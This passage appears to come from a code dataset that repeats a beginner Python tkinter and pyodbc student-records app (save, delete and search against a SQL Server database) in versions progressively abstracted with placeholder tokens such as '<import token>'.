save)\r\ncanvas1.create_window(500, 250, window=button1)\r\n\r\nbutton5 = tk.Button(text='Search',command=Search)\r\ncanvas1.create_window(400, 250, window=button5)\r\n\r\nbutton3 = tk.Button(text='delete',command=delete)\r\ncanvas1.create_window(450, 250, window=button3)\r\n\r\n# Defining the tree\r\n\r\ntree=ttk.Treeview(root)\r\ntree[\"columns\"]=(\"one\",\"two\",\"three\",\"four\",\"five\",\"six\")\r\ntree.column(\"#0\", width=130, minwidth=270, stretch=tk.NO)\r\ntree.column(\"one\", width=100, minwidth=150, stretch=tk.NO)\r\ntree.column(\"two\", width=100, minwidth=100)\r\ntree.column(\"three\", width=100, minwidth=50, stretch=tk.NO)\r\ntree.column(\"three\", width=100, minwidth=50, stretch=tk.NO)\r\ntree.column(\"three\", width=100, minwidth=50, stretch=tk.NO)\r\ntree.heading(\"#0\",text=\"Name\",anchor=tk.W)\r\ntree.heading(\"one\", text=\"Age\",anchor=tk.W)\r\ntree.heading(\"two\", text=\"Gender\",anchor=tk.W)\r\ntree.heading(\"three\", text=\"Height\",anchor=tk.W)\r\ntree.heading(\"four\", text=\"Weight\",anchor=tk.W)\r\ntree.heading(\"five\", text=\"StudentId\",anchor=tk.W)\r\ntree.heading(\"six\", text=\"Sports\",anchor=tk.W)\r\ntree.pack()\r\nroot.mainloop()\r\n", "from tkinter import ttk\nimport tkinter as tk\nimport pyodbc\nfrom tkinter import messagebox\nconn = pyodbc.connect(\n 'Driver={SQL Server};Server=MUTHUCOMPUTER;Database=Class4c v1;Trusted_Connection=yes;'\n )\ncursor = conn.cursor()\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\nroot = tk.Tk()\ncanvas1 = tk.Canvas(root, width=900, height=300)\ncanvas1.pack()\nName = tk.Entry(root)\ncanvas1.create_window(300, 10, window=Name)\nlabel1 = tk.Label(root, text='Name:')\nlabel1.config(font=('helvetica', 10))\ncanvas1.create_window(200, 10, window=label1)\nAge = tk.Entry(root)\ncanvas1.create_window(300, 40, window=Age)\nlabel2 = tk.Label(root, text='Age:')\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 40, window=label2)\nGender = tk.Entry(root)\ncanvas1.create_window(300, 70, window=Gender)\nlabel3 = tk.Label(root, text='Gender:')\nlabel3.config(font=('helvetica', 10))\ncanvas1.create_window(200, 70, window=label3)\nheight = tk.Entry(root)\ncanvas1.create_window(300, 100, window=height)\nlabel4 = tk.Label(root, text='height in cm:')\nlabel4.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label4)\nweight = tk.Entry(root)\ncanvas1.create_window(300, 130, window=weight)\nlabel5 = tk.Label(root, text='weight in kg:')\nlabel5.config(font=('helvetica', 10))\ncanvas1.create_window(200, 130, window=label5)\nStudentId = tk.Entry(root)\ncanvas1.create_window(300, 160, window=StudentId)\nlabel6 = tk.Label(root, text='StudentId:')\nlabel6.config(font=('helvetica', 10))\ncanvas1.create_window(200, 160, window=label6)\nSport = tk.Entry(root)\ncanvas1.create_window(300, 190, window=Sport)\nlabel7 = tk.Label(root, text='Sport:')\nlabel7.config(font=('helvetica', 10))\ncanvas1.create_window(200, 190, window=label7)\nbutton1 = tk.Button(text='Save', command=save)\ncanvas1.create_window(500, 250, window=button1)\nbutton5 = tk.Button(text='Search', command=Search)\ncanvas1.create_window(400, 250, window=button5)\nbutton3 = tk.Button(text='delete', command=delete)\ncanvas1.create_window(450, 250, window=button3)\ntree = ttk.Treeview(root)\ntree['columns'] = 'one', 'two', 'three', 'four', 'five', 'six'\ntree.column('#0', width=130, minwidth=270, stretch=tk.NO)\ntree.column('one', width=100, minwidth=150, stretch=tk.NO)\ntree.column('two', width=100, minwidth=100)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.heading('#0', text='Name', anchor=tk.W)\ntree.heading('one', text='Age', anchor=tk.W)\ntree.heading('two', text='Gender', anchor=tk.W)\ntree.heading('three', text='Height', anchor=tk.W)\ntree.heading('four', text='Weight', anchor=tk.W)\ntree.heading('five', text='StudentId', anchor=tk.W)\ntree.heading('six', text='Sports', anchor=tk.W)\ntree.pack()\nroot.mainloop()\n", "<import token>\nconn = pyodbc.connect(\n 'Driver={SQL Server};Server=MUTHUCOMPUTER;Database=Class4c v1;Trusted_Connection=yes;'\n )\ncursor = conn.cursor()\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\nroot = tk.Tk()\ncanvas1 = tk.Canvas(root, width=900, height=300)\ncanvas1.pack()\nName = tk.Entry(root)\ncanvas1.create_window(300, 10, window=Name)\nlabel1 = tk.Label(root, text='Name:')\nlabel1.config(font=('helvetica', 10))\ncanvas1.create_window(200, 10, window=label1)\nAge = tk.Entry(root)\ncanvas1.create_window(300, 40, window=Age)\nlabel2 = tk.Label(root, text='Age:')\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 40, window=label2)\nGender = tk.Entry(root)\ncanvas1.create_window(300, 70, window=Gender)\nlabel3 = tk.Label(root, text='Gender:')\nlabel3.config(font=('helvetica', 10))\ncanvas1.create_window(200, 70, window=label3)\nheight = tk.Entry(root)\ncanvas1.create_window(300, 100, window=height)\nlabel4 = tk.Label(root, text='height in cm:')\nlabel4.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label4)\nweight = tk.Entry(root)\ncanvas1.create_window(300, 130, window=weight)\nlabel5 = tk.Label(root, text='weight in kg:')\nlabel5.config(font=('helvetica', 10))\ncanvas1.create_window(200, 130, window=label5)\nStudentId = tk.Entry(root)\ncanvas1.create_window(300, 160, window=StudentId)\nlabel6 = tk.Label(root, text='StudentId:')\nlabel6.config(font=('helvetica', 10))\ncanvas1.create_window(200, 160, window=label6)\nSport = tk.Entry(root)\ncanvas1.create_window(300, 190, window=Sport)\nlabel7 = tk.Label(root, text='Sport:')\nlabel7.config(font=('helvetica', 10))\ncanvas1.create_window(200, 190, window=label7)\nbutton1 = tk.Button(text='Save', command=save)\ncanvas1.create_window(500, 250, window=button1)\nbutton5 = tk.Button(text='Search', command=Search)\ncanvas1.create_window(400, 250, window=button5)\nbutton3 = tk.Button(text='delete', command=delete)\ncanvas1.create_window(450, 250, window=button3)\ntree = ttk.Treeview(root)\ntree['columns'] = 'one', 'two', 'three', 'four', 'five', 'six'\ntree.column('#0', width=130, minwidth=270, stretch=tk.NO)\ntree.column('one', width=100, minwidth=150, stretch=tk.NO)\ntree.column('two', width=100, minwidth=100)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.heading('#0', text='Name', anchor=tk.W)\ntree.heading('one', text='Age', anchor=tk.W)\ntree.heading('two', text='Gender', anchor=tk.W)\ntree.heading('three', text='Height', anchor=tk.W)\ntree.heading('four', text='Weight', anchor=tk.W)\ntree.heading('five', text='StudentId', anchor=tk.W)\ntree.heading('six', text='Sports', anchor=tk.W)\ntree.pack()\nroot.mainloop()\n", "<import token>\n<assignment token>\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\ncanvas1.pack()\n<assignment token>\ncanvas1.create_window(300, 10, window=Name)\n<assignment token>\nlabel1.config(font=('helvetica', 10))\ncanvas1.create_window(200, 10, window=label1)\n<assignment token>\ncanvas1.create_window(300, 40, window=Age)\n<assignment token>\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 40, window=label2)\n<assignment token>\ncanvas1.create_window(300, 70, window=Gender)\n<assignment token>\nlabel3.config(font=('helvetica', 10))\ncanvas1.create_window(200, 70, window=label3)\n<assignment token>\ncanvas1.create_window(300, 100, window=height)\n<assignment token>\nlabel4.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label4)\n<assignment token>\ncanvas1.create_window(300, 130, window=weight)\n<assignment token>\nlabel5.config(font=('helvetica', 10))\ncanvas1.create_window(200, 130, window=label5)\n<assignment token>\ncanvas1.create_window(300, 160, window=StudentId)\n<assignment token>\nlabel6.config(font=('helvetica', 10))\ncanvas1.create_window(200, 160, window=label6)\n<assignment token>\ncanvas1.create_window(300, 190, window=Sport)\n<assignment token>\nlabel7.config(font=('helvetica', 10))\ncanvas1.create_window(200, 190, window=label7)\n<assignment token>\ncanvas1.create_window(500, 250, window=button1)\n<assignment token>\ncanvas1.create_window(400, 250, window=button5)\n<assignment token>\ncanvas1.create_window(450, 250, window=button3)\n<assignment token>\ntree.column('#0', width=130, minwidth=270, stretch=tk.NO)\ntree.column('one', width=100, minwidth=150, stretch=tk.NO)\ntree.column('two', width=100, minwidth=100)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.heading('#0', text='Name', anchor=tk.W)\ntree.heading('one', text='Age', anchor=tk.W)\ntree.heading('two', text='Gender', anchor=tk.W)\ntree.heading('three', text='Height', anchor=tk.W)\ntree.heading('four', text='Weight', anchor=tk.W)\ntree.heading('five', text='StudentId', anchor=tk.W)\ntree.heading('six', text='Sports', anchor=tk.W)\ntree.pack()\nroot.mainloop()\n", "<import token>\n<assignment token>\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\n<function token>\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], 